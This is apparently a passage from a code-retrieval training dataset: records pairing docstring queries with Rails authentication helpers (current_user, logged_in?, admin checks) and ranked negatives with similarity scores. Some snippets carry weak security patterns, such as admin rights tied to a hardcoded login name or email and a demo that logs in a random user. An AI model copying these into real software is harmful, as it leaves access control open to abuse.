"0.77056015",
"0.77056015",
"0.7705125",
"0.77048004",
"0.7687557",
"0.7681619",
"0.7663361",
"0.76235795",
"0.7620863",
"0.76074713",
"0.7599033",
"0.75533855",
"0.7549863",
"0.7508907",
"0.75074065",
"0.74933636",
"0.7492269",
"0.74679357",
"0.74509096",
"0.74218345",
"0.7420296"
] | 0.0 | -1 |
Returns the current loggedin user (if any). | def current_user
if session[:user_id] && !User.where(id: session[:user_id]).empty?
@current_user = User.find(session[:user_id])
else
log_out
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def current_user\n if session[:user_id]\n return User.find(session[:id])\n else\n return nil\n end\n end",
"def current_user\n if session[:user_id]\n User.find(session[:user_id])\n else\n nil\n end\n end",
"def current_user\n return unless session[:user_id]\n User.find(session[:user_id])\n end",
"def get_current_user\n if session[:authenticated]\n return User.find_by_id(session[:user_id])\n end\n return nil\n end",
"def getLoggedInUser\n if session[:user_id]\n return User.find(session[:user_id])\n else\n return nil\n end\n end",
"def current_user\n if session[:user_id]\n User.find(session[:user_id])\n else\n end\n end",
"def current_user\n User.get_user(session[:user_id]) if session[:user_id]\n end",
"def current_user\n if session[:user_id]\n return @user ||= User.find(session[:user_id]['$oid'])\n else\n return nil\n end\n end",
"def current_user\n\t\tif session[:user_id].present?\n\t\t\tUser.find(session[:user_id])\n\t\tend\n\tend",
"def current_user\n if session[:user_id]\n user = User.find(session[:user_id])\n else\n nil\n end\n end",
"def current_user\n if valid_session?\n User.find(session[:user_id])\n end\n end",
"def get_current_user\n if @current_user\n return @current_user\n else\n @current_user = User.find_by(id: session[:user_id])\n end\n end",
"def get_logged_in_user\n if logged_in?\n user = User.find(session[:current_user_id])\n if user\n return user\n else\n return nil\n end\n end\n \n #default return nil\n nil\n end",
"def get_current_user\n @current_user ||= User.find(session[:user_id]) unless session[:user_id].blank?\n return @current_user\n end",
"def current_user\n if session[:user_id]\n User.find_by(id: session[:user_id])\n end\n end",
"def current_user\n User.find_by(uid: session[:user]) if logged_in?\n end",
"def current_user(id = session[:user_id])\n User.get_one id\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if logged_in?\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if logged_in?\n end",
"def current_user\n return @current_user if @current_user.present?\n\n if session[:uid]\n @current_user = User.from_session(session)\n end\n\n @current_user\n end",
"def current_user\n if logged_in?\n return User.get(session['user'])\n end\n AnonymousUser.new\n end",
"def get_current_user\n unless session[:user_id]\n @current_user = nil\n return\n end\n @current_user = User.first(:conditions => {:id => session[:user_id] })\n end",
"def get_current_user\n unless session[:user_id].blank?\n @current_user = User.find(session[:user_id])\n else\n @current_user = nil\n end\n end",
"def current_user\n\t\t\tUser.find(session[:user_id])\n\t\tend",
"def current_user\n\t\t\tUser.find(session[:user_id])\n\t\tend",
"def current_user\n @current_user if logged_in?\n end",
"def current_user\n @current_user if logged_in?\n end",
"def current_user\n\tif(session[:user_id])\n\t\t@u ||= User.first(id: session[:user_id])\n\t\treturn @u\n\telse\n\t\treturn nil\n\tend\nend",
"def current_user\n\tif(session[:user_id])\n\t\t@u ||= User.first(id: session[:user_id])\n\t\treturn @u\n\telse\n\t\treturn nil\n\tend\nend",
"def current_user\n\tif(session[:user_id])\n\t\t@u ||= User.first(id: session[:user_id])\n\t\treturn @u\n\telse\n\t\treturn nil\n\tend\nend",
"def current_user\n\tif(session[:user_id])\n\t\t@u ||= User.first(id: session[:user_id])\n\t\treturn @u\n\telse\n\t\treturn nil\n\tend\nend",
"def current_user\n if !session[:user_id] then nil else User.find(session[:user_id]) end\n end",
"def current_user\n User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n User.find(session[:user_id]) if session[:user_id]\n end",
"def get_current_user\n if session[:user_id]\n @current_user ||= User.find_by(id: session[\"user_id\"])\n end\n end",
"def current_user\n user_id = get_log_in_session\n if user_id\n get_user(user_id)\n else\n user = get_user(cookies.signed['user_id'])\n if user&.authenticated?(:remember, cookies[:remember_token])\n set_log_in_session user\n user\n end\n end\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n #return current user if @current_user already exists.\n #if there's no current user, return the user with ID == session user ID, if there is one.\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n return @current_user\n end",
"def current_user\n if !@current_user.nil?\n @current_user\n elsif !session[:current_user_id].nil?\n begin\n @current_user = User.find(session[:current_user_id])\n rescue ActiveRecord::RecordNotFound\n @current_user = nil\n end\n end\n end",
"def current_user\n if Rails.application.config.use_omniauth\n return nil unless session[:user_info]\n @current_user ||= User.find_user_from_omniauth(session[:user_info])\n else\n @current_user ||= User.where(username: request.env['aker.check'].user.username).first\n end\n end",
"def current_user\n return unless session[:user_id]\n @current_user ||= User.find(session[:user_id])\n end",
"def current_user\n return unless session[:user_id]\n @current_user ||= User.find(session[:user_id])\n end",
"def current_user\n return unless session[:user_id]\n @current_user ||= User.first(:id => session[:user_id])\n end",
"def current_user\n begin\n unless @current_user.nil?\n return @current_user\n else\n if session[:user_id]\n return @current_user = User.find(session[:user_id])\n else\n return nil\n end\n end\n rescue\n return nil\n end\nend",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n #return current user or set to this if there isnt a current user\n end",
"def current_user\n # User.find would throw an error if we cannot find the user\n User.find_by({ id: session[:user_id] })\n end",
"def current_user\n\n sql = \"SELECT * FROM users WHERE id = $1;\"\n \n results = run_sql(sql, [session[:user_id]]) \n return results.first\n end",
"def current_user\n\tif session[:user_id].present?\n\t\tUser.find(session[:user_id])\t\n\tend\nend",
"def current_user\n return @current_user ||= User.find(session[:user_id]) unless session[:user_id].nil?\n end",
"def current_user\n if @current_user.nil?\n @current_user = User.find_by(id: session[:user_id])\n else\n @current_user\n end\n end",
"def current_user\n get_from_options_or_controller(:current_user)\n end",
"def current_user\n begin \n User.find(session[:user_id])\n rescue ActiveRecord::RecordNotFound\n nil\n end\n end",
"def current_user\n if user_signed_in?\n Session.active_sessions.find_by(id: request.headers['sid'], utoken: request.headers['utoken']).user\n else\n nil\n end\n end",
"def current_user\n if user_signed_in?\n Session.active_sessions.find_by(id: request.headers['sid'], utoken: request.headers['utoken']).user\n else\n nil\n end\n end",
"def current_user\n User.find_by(id: session[:user_id])\n end",
"def current_user\n User.find_by(id: session[:user_id])\n end",
"def current_user\n return nil unless session[:user_id]\n User.get(session[:user_id])\nend",
"def current_user\r\n\tif(session[:user_id])\r\n\t\t@u ||= User.first(id: session[:user_id])\r\n\t\treturn @u\r\n\telse\r\n\t\treturn nil\r\n\tend\r\nend",
"def current_user\n \t# If the session contains the user_id with non-nil, we have ID of some user\n \t# Return the user object for ID\n \t\n \t# Using instance variable helps limit calls\n \t# \"Or equals\" means \n \t\t# if nil, set it -- if not, return it\n \tif session[:user_id]\n \t@current_user ||= User.find(session[:user_id])\n end\n end",
"def current_user\n logged_in? ? User.find_by_id(session[:user_id]) : nil\n end",
"def find_current_user\n if is_logged_in?\n @current_user = User.find(session[:user_id])\n else\n @current_user = nil\n end\n end",
"def current_user\n if logged_in?\n session[:user] = nil\n return temporary_logged_in_user ? temporary_logged_in_user :\n set_temporary_logged_in_user(cached_user)\n else\n session[:user] ||= create_new_user # if there wasn't one\n session[:user] = create_new_user unless session[:user].respond_to?(:stale?)\n session[:user] = create_new_user if session[:user].stale?\n return session[:user]\n end\n end",
"def current_user\n return unless session[:user_id]\n @current_user ||= User.find_by_id(session[:user_id])\n end",
"def current_user\n if session[:user_id].present?\n @current_user = User.find_by(uid: session[:user_id])\n # session.clear if @current_user.nil?\n return @current_user\n end\n end",
"def current_user\n if session[:user_id]\n return User.find(session[:user_id])\n end\nend",
"def current_user\n\t\t\tUser.find_by_id(session[:user_id])\n\t\tend",
"def current_user\n if session[:user_id]\n @current_user ||= User.find(session[:user_id])\n end\n end",
"def current_user\n if session[:user_id]\n @current_user ||= User.find(session[:user_id])\n end\n end",
"def return_current_user\n @current_user ||= User.find(session[:id_of_current_user]) if session[:id_of_current_user]\n end",
"def current_user\n if session[:user_id]\n @user = User.find(session[:user_id])\n end\n end",
"def current_user\n if session[:user_id]\n @user = User.find(session[:user_id])\n end\n end",
"def logged_in_user\n if (!logged_in?)\n return User.logged_out_user\n end\n #return nil if !logged_in?\n return session[\"app_user\"]\n end",
"def current_user\n core_id = Origen::Users::User.current_user_id\n user = app_users.find { |user| user.core_id == core_id }\n user || User.new(core_id)\n end",
"def current_user\n @user ||= User.find_by_id(session[:user_id])if logged_in?\n end",
"def current_user\n load_session\n @current_user\n end",
"def find_current_user\n user_id = session[:user_id]\n if user_id\n user = Marty::User.active.find(user_id) rescue nil\n else\n user = try_to_autologin\n end\n\n user\n end",
"def current_user\n return nil unless session[:user_id]\n @current_user ||= User.find_by(id: session[:user_id])\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n # return current user or set it to what is found in cookie, only if there is one to begin with\n end",
"def current_user\n \t@current_user || User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n @current_user ||= begin\n if session[:user_id]\n user = User.where(id: session[:user_id])\n user[0] if user.any?\n end\n end\n # @current_user ||= User.find session[:user_id] if session[:user_id]\n end",
"def current_user\n\n \tif session[:user_id].present?\n \t\tUser.find(session[:user_id])\n\n \tend\n\n end",
"def current_user\n\tsession[:user_id] ? User.find(session[:user_id]) : nil\nend",
"def current_user\n\tsession[:user_id] ? User.find(session[:user_id]) : nil\nend",
"def current_user\n # retrieve from database on every request instead of\n # storing it as global variable when current_user=\n # is called to prevent user information becoming stale.\n @current_user ||= (session[:user_name] && User.find_by(user_name: session[:user_name])) || real_user\n end",
"def current_user\n\t\tif !@current_user\n\t\t\t@current_user = User.find_by(id: session[:user_id])\n\t\tend\n\t\t@current_user\n\tend",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n return unless session[:user_id]\n @current_user = User.find_by_id(session[:user_id])\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if user_signed_in?\n end",
"def current_user\n\t\tUser.find_by(:id => session[:user_id])\n\tend",
"def current_user\n User.find session[:user_id] if user_signed_in?\n end",
"def authenticated_user\n if session[:user_id].nil?\n return nil\n else\n return User.find(session[:user_id])\n end\n end",
"def current_user\n return @current_user if defined?(@current_user)\n @current_user = User.find_by_id(session[:user_id])\n end",
"def current_user\n if session[:user_id]\n @current_user ||= User.find_by(id: session[:user_id])\n end\n end",
"def current_user\n if session[:user_id]\n @current_user ||= User.find_by(id: session[:user_id])\n end\n end",
"def current_user\n if session[:user_id]\n @current_user ||= User.find_by(id: session[:user_id])\n end\n end",
"def current_user\n if session[:user_id]\n @current_user ||= User.find_by(id: session[:user_id])\n end\n end",
"def current_user\n if session[:user_id]\n @current_user ||= User.find_by(id: session[:user_id])\n end\n end",
"def current_user\n if session[:user_id]\n @current_user = User.find(session[:user_id])\n end\n end",
"def current_user\n @user ||= User.find_by(id: session[:user_id]) if session[:user_id]\n end",
"def current_user\n \n # Normally we would look in the session to see if there is a user_id \n # to figure out if the user is loggged in.\n # For demo purposes this app randomly picks if the user is logged in\n if rand(100) > 20 \n User.last\n else\n nil\n end\n end"
] | [
"0.85960984",
"0.8593657",
"0.855797",
"0.8545853",
"0.8534344",
"0.8497545",
"0.847914",
"0.8460573",
"0.8457271",
"0.84556973",
"0.84472865",
"0.8442264",
"0.8441092",
"0.84366953",
"0.8400402",
"0.83765614",
"0.8368829",
"0.8337418",
"0.8337418",
"0.8314651",
"0.8311652",
"0.83023316",
"0.8291481",
"0.82835174",
"0.82835174",
"0.82822436",
"0.82822436",
"0.82777715",
"0.82777715",
"0.82777715",
"0.82777715",
"0.8276581",
"0.8275023",
"0.8275023",
"0.8255083",
"0.8249995",
"0.82446975",
"0.8239647",
"0.8232271",
"0.82151717",
"0.82147837",
"0.82147837",
"0.82103586",
"0.8191853",
"0.8187335",
"0.81870914",
"0.818249",
"0.8178561",
"0.8178069",
"0.8167405",
"0.8166237",
"0.8165827",
"0.8164524",
"0.8164524",
"0.816404",
"0.816404",
"0.81622803",
"0.8161969",
"0.8160386",
"0.8157338",
"0.8153178",
"0.81529313",
"0.81492436",
"0.8147794",
"0.814727",
"0.81466174",
"0.8136481",
"0.8136481",
"0.8132164",
"0.81201875",
"0.81201875",
"0.81199944",
"0.8119824",
"0.8116362",
"0.8112842",
"0.81102794",
"0.81090635",
"0.81087977",
"0.81074595",
"0.80979383",
"0.8093762",
"0.80920845",
"0.80920845",
"0.8090045",
"0.8087256",
"0.80838054",
"0.80838054",
"0.8081629",
"0.80800456",
"0.80800176",
"0.80791426",
"0.8078592",
"0.8078462",
"0.8078152",
"0.8078152",
"0.8078152",
"0.8078152",
"0.8078152",
"0.8073231",
"0.807296",
"0.8071747"
] | 0.0 | -1 |
Returns true if the user is logged in, false otherwise. | def logged_in?
!current_user.nil?
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def user_is_logged_in()\n user = get_user()\n if user != nil\n true\n else\n false\n end\n end",
"def logged_in?\n user._logged_in?\n end",
"def logged_in?\n if session[:username]\n if session[:logged_in?]\n return true\n end\n else\n return false\n end\n end",
"def logged_in?\n if !session[:user_id].nil?\n return true\n else\n return false\n end\n end",
"def user_is_logged_in?\n !!session[:user_id]\n end",
"def logged_in?\n return false unless session[:user_id]\n\n User.find_by_id(session[:user_id]).present?\n end",
"def logged_in?\n !!logged_user\n end",
"def logged_in?\n (current_user ? login_access : false).is_a?(User)\n end",
"def logged_in?\n if current_user\n true\n else\n false\n end\n end",
"def logged_in?\n current_user != :false\n end",
"def logged_in?\n current_user != :false\n end",
"def logged_in?\n current_user.present?\n end",
"def logged_in?\n return true if self.current_user\n return false\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\r\n current_user != :false\r\n end",
"def loggedin?\n @session.nil? ? false : (return true)\n end",
"def is_logged_in?\n\t\t!session[:user_id].nil?\n\tend",
"def logged_in?\n\t\t\tcurrent_user.is_a? User\n\t\tend",
"def logged_in?()\n if session[:user_id]\n return true\n else \n return false\n end\n end",
"def logged_in?\n current_user != :false \n end",
"def is_logged_in_user?\n session[:user_authenticated]\n end",
"def logged_in?\n @logged_in == true\n end",
"def logged_in?\n @logged_in == true\n end",
"def logged_in?\n if current_user\n true\n else \n false\n end\n end",
"def is_logged_in?\n !session[:user_id].nil?\n end",
"def user_is_logged_in?\n !!session[:user_id]\n end",
"def logged_in?\n\t\tif not current_user.present? then redirect_to \"/unauthorized\" and return false\n\t\tend\n\t\treturn true\n\tend",
"def logged_in?\n return false unless @auth_header\n true\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n\t\t !!current_user\n end",
"def logged_in?\r\n\t\t!current_user.nil?\r\n\tend",
"def logged_in?\n\n if session[:current_user_id]\n return true\n end\n \n #Default return false\n false\n \n end",
"def logged_in?\n\t\tcurrent_user.present?\n\tend",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !!logged_in_user \n end",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n current_user ? true : false;\n end",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n current_user.present? # True neu user login\n end",
"def logged_in?\n #boolean return\t\n \tcurrent_user != nil\n end",
"def is_user_logged_in?\n\tlogged_in = false\n\t if logged_in\n then true\n else\n redirect_to root_path\n end\n end",
"def logged_in?\n @logged_in ? true : false\n end",
"def logged_in?\n current_user != nil ? true : false\n end",
"def logged_in?\n return session['current_user']\n end",
"def logged_in?\n !current_user.nil?\n end",
"def logged_in?\n !current_user.nil?\n end",
"def logged_in?\n\t\t!current_user.nil?\n \tend",
"def is_logged_in?\n return true if current_user || current_admin\n end",
"def logged_in?\n \t\t!current_user.nil?\n \tend",
"def logged_in?\n\t\t#if currentuser.nil returns true then logedin is false\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n !current_user.blank?\n end",
"def logged_in?\n !!session[:logged_in]\n end",
"def logged_in?\n # !! turns this into a boolean, so we DON'T get nil\n !!session[:user_id]\n end",
"def logged_in?\n !!session[:user_id]\n # !!@current_user\n end",
"def logged_in?\n ## to query if the logged in, call the current_user with !! preceeded, this turns it to true or false\n # TRUE or FALSE\n !!current_user\n end",
"def _is_login\n p session[:user]\n session[:user] ? true : false\n end",
"def logged_in?\n if session[:username].blank? or\n session[:authenticated].blank? or\n !session[:authenticated]\n return false\n end\n\n return true\n end",
"def user_logged_in?\n current_user.present?\n end",
"def user_logged_in?\n current_user.present?\n end",
"def logged_in?\n current_user_id.to_i > 0\n end",
"def is_logged_in?\n session[:user_id].present?\n end",
"def logged_in?\n current_user.is_a? User\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end"
] | [
"0.9082417",
"0.8764097",
"0.87552106",
"0.8718715",
"0.86894006",
"0.86498255",
"0.86469626",
"0.86372185",
"0.8631328",
"0.86285406",
"0.86285406",
"0.8582609",
"0.85669243",
"0.85613596",
"0.85613596",
"0.8551865",
"0.85491496",
"0.85443276",
"0.85409296",
"0.8539988",
"0.8517927",
"0.8511279",
"0.8508452",
"0.8508452",
"0.8507709",
"0.8505226",
"0.84988797",
"0.8491304",
"0.8484085",
"0.8482917",
"0.8482917",
"0.8482917",
"0.8482917",
"0.8482917",
"0.8482917",
"0.8482917",
"0.8482917",
"0.8482917",
"0.84715056",
"0.8469552",
"0.84658724",
"0.8465275",
"0.84569186",
"0.84569186",
"0.84569186",
"0.84569186",
"0.84564346",
"0.8454783",
"0.8454261",
"0.8453559",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.8442786",
"0.8442786",
"0.8442786",
"0.8442786",
"0.84288824",
"0.84257317",
"0.84221077",
"0.8421079",
"0.84119624",
"0.8409261",
"0.840512",
"0.840512",
"0.8403647",
"0.8402856",
"0.8402169",
"0.83969295",
"0.83946496",
"0.8387275",
"0.8384129",
"0.83830756",
"0.83823043",
"0.83774966",
"0.83763194",
"0.8374361",
"0.8374361",
"0.83696514",
"0.8369602",
"0.836562",
"0.8361304",
"0.8361304",
"0.8361304",
"0.8361304"
] | 0.0 | -1 |
Returns true if the user is admin, false otherwise. | def is_admin?
logged_in? && current_user && current_user.admin
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def admin_user?\n if current_user != nil\n !!current_user.admin\n end\n end",
"def user_admin?\n user_logged_in? && @current_user.type == 'Admin'\n end",
"def admin_user?\n (current_user.role == 'admin') if logged_in?\n end",
"def is_admin?(user)\n user.admin > 0\n end",
"def is_admin?\n determine_user_role\n if @admin_user || @superadmin_user\n return true\n else\n return false\n end\n end",
"def admin?\n user = check_user\n user.role == User.role_types['Admin']\n end",
"def is_admin?(user_id)\n\t\treturn admin == user_id\n\tend",
"def admin?\n return ( self.user_type == User::USER_TYPE_ADMIN )\n end",
"def is_admin?\n return false unless logged_in?\n user = User.find_by_id(current_user)\n user.userstatus.status == \"admin\" ? true : false\n end",
"def is_admin?\n current_user and current_user.is_admin?\n end",
"def is_admin\n\t\t\tif @admin == \"TRUE\"\n\t\t\t\treturn true\n\t\t\tend\n\t\t\treturn false\n\t\tend",
"def admin?\n current_user.admin?\n end",
"def is_admin?\n current_user && current_user.try(:admin?)\n end",
"def is_admin? (user)\n get_admins.any? {|admin|\n user =~ admin\n } && user.authed?\n end",
"def admin?\n @user = current_user.is_admin?\n end",
"def user_is_admin?\n\tbegin\n\t `gpresult /r /scope user`.split.include? \"Admin\"\n\trescue\n\t false\n\tend\n end",
"def admin?(user)\n user.role_names.include?('cmsadmin')\n end",
"def current_user_is_admin\n\t\ttrue if current_user.admin == 't'\n\tend",
"def is_admin?\n if valid_session?\n current_user.admin == true\n end\n end",
"def is_admin_user?\n if user_signed_in? == false\n @is_admin = false\n else\n @is_admin = (current_user.email == \"[email protected]\")\n end\n end",
"def admin?\n logged_in? && current_user.admin\n end",
"def admin?\n return false\n # return (session[:user_id] && User.find(session[:user_id])[:login] == '') ? true : false\n end",
"def admin?\n if(@current_user)\n @current_user.admin?\n end\n end",
"def admin?\n if self.login == \"admin\"\n return true\n else\n return false\n end\n end",
"def admin?\n user_signed_in? && current_user.admin?\n end",
"def is_admin?(user)\n return false if Access::Core.is_guest?(user)\n\n user.has_role?(:admin)\n end",
"def is_admin?\n self.is_admin == \"true\"\n end",
"def is_admin?\n return false if !current_user\n current_user.admin?\n end",
"def is_admin\n user = UserAdmin.find_by_user_id(current_user.id)\n if user and user.level > 1\n return true || false\n end\n end",
"def admin?\n if user_signed_in? && current_user.user_level == 1\n return true\n end\n return false\n end",
"def admin?\n\t\tcurrent_user.try(:admin)\n\tend",
"def admin?\n @current_user && @current_user.has_role?(:admin)\n end",
"def admin_user?\n session[:user][:uid] == APP_CONFIG[:admin]\n end",
"def isuseradmin?\n if $credentials != nil\n isadminornot = User.where(:username => $credentials[0]).to_a.first\n @adminuser = \"#{isadminornot.username}\"\n if @adminuser == \"Admin\"\n return true\n else \n return false\n end\n end\n end",
"def is_admin?\n current_user ? current_user.login == 'admin' : false\n end",
"def is_admin? \n return (user_signed_in? and current_user.role == 1)\n end",
"def is_admin?\n !!current_user.admin if !!current_user\n end",
"def admin?\n\t\tuser_session.admin?\n\tend",
"def admin_user?\n self.admin ==true\n end",
"def current_user_is_admin?\n current_user && current_user.is_admin\n end",
"def is_admin?\n role = self.role\n\n if(role == 'admin')\n return true\n else\n return false\n end\n end",
"def is_admin?\n current_user && current_user.admin\n end",
"def is_admin?\n current_user && current_user.admin?\n end",
"def logged_in_as_admin?\n current_admin != :false\n end",
"def admin_user\n # get current user for session and check if they are an administrator\n check_admin_user = current_user\n return check_admin_user.admin?\n end",
"def is_admin?\n user_type == 'super_admin' || user_type == 'admin'\n end",
"def admin?\n @user.admin?\n end",
"def admin?\n user.admin?\n end",
"def is_admin?\n if user_signed_in?\n return current_user.is_admin\n else\n return false\n end\n end",
"def admin_user?\n\t\treturn self.user_category == \"admin\"\n\tend",
"def admin?\n self.user_type == TYPES[:admin]\n end",
"def normal_user?\n self.admin ==false\n end",
"def admin?\n @current_user.admin?\n end",
"def admin_user?\n current_user.admin\n end",
"def admin?\n (session[:drupal_user_role] && (session[:drupal_user_role].values.include?('administrator') || session[:drupal_user_role].values.include?('staff'))) ? true : false\n end",
"def admin_user?\n member_type == MEMBER_TYPE[:admin]\n end",
"def admin?\n c_user = current_user\n not c_user.nil? and c_user.group==\"admin\"\n end",
"def admin?\n role == :admin\n end",
"def admin?\n current_user && current_user.role?(\"admin\")\n end",
"def admin?\r\n\tif !current_user.administrator\r\n\t\treturn false;\r\n\telse\r\n\t\treturn true;\r\n\tend\r\nend",
"def is_admin?\n if @is_admin.nil?\n @is_admin = (current_user.has_role?('admin') == true)\n end\n \n @is_admin\n end",
"def admin?\n user.class.name == Admin.name\n end",
"def admin? \n (logged_in? && current_member.admin?) ? true : false\n end",
"def admin_loggedin?\r\n @logged_in_user and @logged_in_user.admin?\r\n end",
"def is_admin?\n is_admin == 1\n end",
"def is_admin?\n return true if is_logged_in? && (current_user.admin? || current_admin)\n end",
"def admin?\n user_role_id == UserRole::ADMIN\n end",
"def admin?\n logged_in? && current_user.admin?\n end",
"def admin?\n logged_in? and current_user.admin?\n end",
"def admin?\n User.admin_logged_in?\n end",
"def admin?\n logged_in? && current_user.has_role?(:admin)\n end",
"def admin?\n logged_in? && current_user.has_role?(:admin)\n end",
"def admin?\n logged_in? && current_user.has_role?(:admin)\n end",
"def admin?\n logged_in? && current_user.has_role?(:admin)\n end",
"def admin?\n logged_in? && current_user.has_role?(:admin)\n end",
"def is_user_admin?\n user_active && user_active.permission_level == 2\n end",
"def current_user_is_admin?\n signed_in? && current_user.admin?\n end",
"def is_admin?\n current_user.role.eql?(\"admin\")\n end",
"def is_admin?\n if login == \"ankit\"\n return true\n else\n return false\n end\n end",
"def isAdmin?\n return current_usuario != nil && current_usuario.admin\n end",
"def admin_user\n @current_user.admin?\n end",
"def admin?\n if self.role == 'admin'\n true\n else\n false\n end\n end",
"def current_user_admin?\n current_user && current_user.admin?\n end",
"def admin?\n return !new_record? && login == 'admin'\n end",
"def isAdmin?\n if session[:perm] == 1\n return true;\n else\n return false;\n end\n end",
"def is_admin?\n\t current_account.user.is_a?(Administrator)\n\tend",
"def user_admin?\n \t@admin_user = Usuario.find(session[:user_id]).admin\n end",
"def admin?\n current_user.admin?\n end",
"def is_admin?\n current_user && current_user.admin?\n end",
"def is_admin?\n if logged_in?\n current_user.role == \"Admin\"\n end\n end",
"def is_admin\n if self.role_as_admin.size > 0\n return true\n else\n return false\n end\n end",
"def user_is_admin\n unless logged_in? and is_admin?\n respond_with_error(\n \"You must have admin permissions to perform this action.\", \n root_path)\n end\n end",
"def is_admin?\n current_user && current_user.site=='admin'\n end",
"def adminlogged_in?\n !!current_administrator\n end",
"def admin_logged_in?\n current_user && current_user.admin?\n end",
"def admin?\n role?(UserRoles::ADMIN)\n end",
"def admin?\n @usuario_actual = Usuario.find_by_id(session[:user_id])\n return true if @usuario_actual.admin?\n \n redirect_to new_session_path and return false\n end",
"def is_admin?\n ((!user_group_id.nil?) && has_permission(:is_admin))\n end",
"def current_admin?(user)\n current_user.admin?\n end",
"def is_administrator?(user)\n user.admin == 2\n end"
] | [
"0.889581",
"0.88150066",
"0.87862563",
"0.8752688",
"0.8721052",
"0.87146884",
"0.8699965",
"0.8683591",
"0.86785793",
"0.867183",
"0.8648363",
"0.8622057",
"0.8612408",
"0.86059827",
"0.85983676",
"0.8595314",
"0.8586797",
"0.8585778",
"0.8584833",
"0.857932",
"0.857507",
"0.85746616",
"0.8574151",
"0.85657454",
"0.8559015",
"0.8554009",
"0.85536164",
"0.8550934",
"0.85369056",
"0.8535663",
"0.8533292",
"0.8521488",
"0.8517747",
"0.8480495",
"0.847931",
"0.8470082",
"0.84661716",
"0.8443409",
"0.84363997",
"0.8434822",
"0.8433074",
"0.8432404",
"0.84317315",
"0.8421329",
"0.8419299",
"0.8418996",
"0.8416653",
"0.84106123",
"0.8403598",
"0.8402442",
"0.8398759",
"0.83972245",
"0.8395263",
"0.8379647",
"0.8378434",
"0.8374184",
"0.83715194",
"0.83646804",
"0.83516216",
"0.8351485",
"0.8348218",
"0.8346491",
"0.83452255",
"0.8344637",
"0.83413565",
"0.8338443",
"0.8336736",
"0.8334455",
"0.8324099",
"0.8317957",
"0.8315499",
"0.8315499",
"0.8315499",
"0.8315499",
"0.8315499",
"0.8308768",
"0.83016044",
"0.8299355",
"0.82962537",
"0.82945496",
"0.8286523",
"0.8283238",
"0.8281894",
"0.82689816",
"0.82644075",
"0.8257878",
"0.82571125",
"0.82547486",
"0.8253015",
"0.82525665",
"0.8248298",
"0.82478",
"0.82374704",
"0.82370716",
"0.823042",
"0.82296574",
"0.82245225",
"0.822221",
"0.82180345",
"0.82156104"
] | 0.8333808 | 68 |
a before_action check for use across controllers, kick nonadmins back to root and give them the error | def check_is_admin
unless is_admin?
bounce_chumps "You're not an admin."
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def admin_actions\n unless @current_admin.is_super_admin\n flash[:error]=\"You are not authorized to navigate to this page \"\n redirect_to admin_index_path\n return\n end\n end",
"def restrictToAdmin! ; redirect to('/login'),303 unless admin? ; end",
"def authorize_admin\n redirect_to root_path, flash: {:error => \"User don't have admin privileges\"} unless isAdmin?\n end",
"def i_am_admin\n unless current_user.is_admin?\n redirect_to :root \n flash[:error] = \"You haven't the rights to access the required page.\"\n end\n end",
